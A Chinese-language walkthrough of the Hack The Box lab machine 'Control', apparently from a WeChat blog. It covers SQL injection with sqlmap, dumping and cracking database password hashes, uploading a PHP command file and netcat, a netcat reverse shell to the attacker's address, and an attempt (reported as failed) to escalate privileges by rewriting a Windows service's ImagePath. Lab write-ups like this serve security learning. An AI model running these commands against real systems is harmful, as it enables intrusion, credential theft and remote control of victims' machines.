前言
今天的靶机依然是HTB(Hack The Box)的靶机-- Control,这个一个困难的靶机,还是有些许难度的。由于我windows打靶经验较少,这个靶机的提权部分也参考了官方wp,不过我还是没有提权成功···
开干:
1、环境准备
-
HTB的靶机
选择HTB的Control靶机,下载HTB的VPN。
-
Kali
将HTB的vpn文件put到kali中,使用命令 openvpn + ovpn文件路径 命令开启vpn连接。连接成功会在HTB网页右上角显示CONNECTIONS
2、扫描开放端口
使用nmap命令扫描开放端口:
开放了80、135、3306、49666、49667端口。
3、寻找漏洞尝试利用
按照之前打靶的流程,通过ssh命令将本地流量代理到vps,配置浏览器代理,然后访问80端口:
点击Admin页面时候:
提示丢失了Header头,要用代理方式访问这个页面,接下来抓包看看有什么有用的信息:
可以看到,返回的html中有些注释,Enable SSL (Certificates location \192.168.4.28myfiles),看来要配置的代理ip就是这个192.168.4.28了。
接着在请求头中添加参数X-Forwarded-For: 192.168.4.28,然后发送请求:
可以看到返回内容已经正常了。
如果要在chrome中看到返回的页面是啥样,还需要借助一些chrome的插件,这边下载一个修改请求头的插件ModHeader
然后添加请求头 X-Forwarded-For 192.168.4.28
访问之前的admin页面,显示如下:
发现一个搜索项目的功能,既然是搜索功能,那就先测试下是否有sql注入漏洞,输入 "test'"测试sql注入:
出现了一些sql报错,看来是存在sql注入漏洞的,接下来将搜索项目的请求保存为txt文件,尝试用sqlmap跑出一些有用的信息。
执行sqlmap命令:sqlmap -r req.txt --level 5 --risk 3 --batch --dump
把数据库warehouse里的信息都dump下来了,并未发现什么有用的信息,接下来尝试获取下这个数据库的用户及密码。
sqlmap -r req.txt --level 5 --risk 3 --batch --users 查看用户
sqlmap -r req.txt --level 5 --risk 3 --batch --passwords 查看密码
这边获取了hector manager用户的密码,尝试用hashcat爆破密码,先查看hash类型
hashtype是300,接着用hashcat爆破密码
hashcat -m 300 -a 0 hash.txt rockyou.txt
可以爆破出 用户 hector密码为:l33th4x0rhector
用户 manager密码为:l3tm3!n
尝试用WinRM连接并没有成功,只能继续收集其他有用的信息。
sqlmap -r req.txt --level 5 --risk 3 --batch --privileges 查看下这个数据库有哪些权限:
可以看到,这个数据库是有文件读取的权限的,接下来尝试读取c:inetpubwwwrootindex.php(IIS中访问网站的根 URL 时默认提供的文件)
sqlmap -u http://靶机ip/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --sql-query="select load_file('c:inetpubww
wrootindex.php');"
尝试写入一个执行命令的php文件
sqlmap -u http://靶机ip/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --file-write=/sayid/HTB/Control/cmd.php --file-dest="c:inetpubwwwrootcmd.php"
\
查看是否上传成功:
上传nc64.exe 准备反弹shell
sqlmap -u http://靶机ip/search_products.php --headers="X-Forwarded-For: 192.168.4.28" --data="productName=1" --dbms=mysql --file-write=/sayid/HTB/Control/nc64.exe --f
ile-dest="c:inetpubwwwrootnc64.exe"
查看用户:
进入Hector目录无权限。
接下来尝试用Hector身份来获取shell
拿到了Hector用户的密码,第一时间想法是用WinRM登录,结果是登录不上去,回顾了nmap扫描的结果,未开放5985、5986端口,但是用netstat命令,可以看到靶机在监听5985端口:
这就意味着,我们虽然不能直接用WinRM登录,但是我们可以用该用户身份运行命令。
接下来就尝试用Invoke-Command以Hector的身份来运行命令。
Invoke-Command是PowerShell中的一个命令,用于在远程计算机上执行命令或脚本块。以下是Invoke-Command的基本语法:Invoke-Command -ComputerName <远程计算机名称> -ScriptBlock { <要执行的命令或脚本块> }
将shell转化为powershell,并且创建一个凭证对象:
尝试用Invoke-Command运行命令:
以Hector身份运行命令成功。
接下来尝试用Invoke-Command运行反弹shell的命令:
Invoke-Command -credential $cred -ScriptBlock { c:inetpubwwwrootnc64.exe -e cmd 10.10.14.xxx 7777 } -computer localhost
反弹shell成功,读取用户flag:
4、提权
靶机下载winPEASx64.exe
w
运行winPEASx64.exe,查找对提权有帮助的信息:
发现一个powershell执行命令历史的文件:
查看文件具体内容:
只有2个命令
get-childitem HKLM:SYSTEMCurrentControlset | format-list
get-acl HKLM:SYSTEMCurrentControlSet | format-list
第一条命令列出了CurrentControlSet下的key
第二条命令打印出有关CurrentControlSet密钥的访问信息
可以看到Hector这个用户 Allow FullControl,权限还是很高的。接下来获取Hector用户拥有FullControl的服务,命令如下:
get-acl HKLM:SystemCurrentControlSetservices* | Format-List * | findstr /i "hector Users Path Everyone"
服务通常有一个“Image Path”,指定驱动程序图像文件的路径,这样我们就能通过更改服务的ImagePath来生成恶意进程。有个问题是,需要重新启动服务,那么这边可以重启哪个服务呢。
看到了wuauserv服务,这是一项用于Windows更新的服务。
将ImagePath值更改为netcat连接:
reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceswuauserv" /t REG_EXPAND_SZ /v ImagePath /d "c:inetpubwwwrootnc64.exe 10.10.14.xx 8887 -e cmd.exe " /f
然后再执行命令 sc start wuauserv 启动服务。
没有成功,将nc64.exe移动到了 Downloads目录下,执行命令也没有成功。也尝试更换启动其他服务,比如seclogon,也没有成功。。。
5、总结
这个靶机的思路,大概就是先利用web应用程序的php页面中的sql注入漏洞,反弹Webshell后,收集mysql数据库信息,找到其他凭据,拿到Hector用户shell后,发现某些服务的注册表项可以由用户Hector写入,通过替换wuauserv或其他服务的配置,rce成SYSTEM。
这个靶机的提权部分,我参考了一些wp,但是都没成功。如果有小伙伴知道我哪边操作有问题欢迎私信我,有我wx的也可以wx告诉我,多谢!
原文始发于微信公众号(从黑客到保安):跟着大佬学渗透之进阶篇10
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论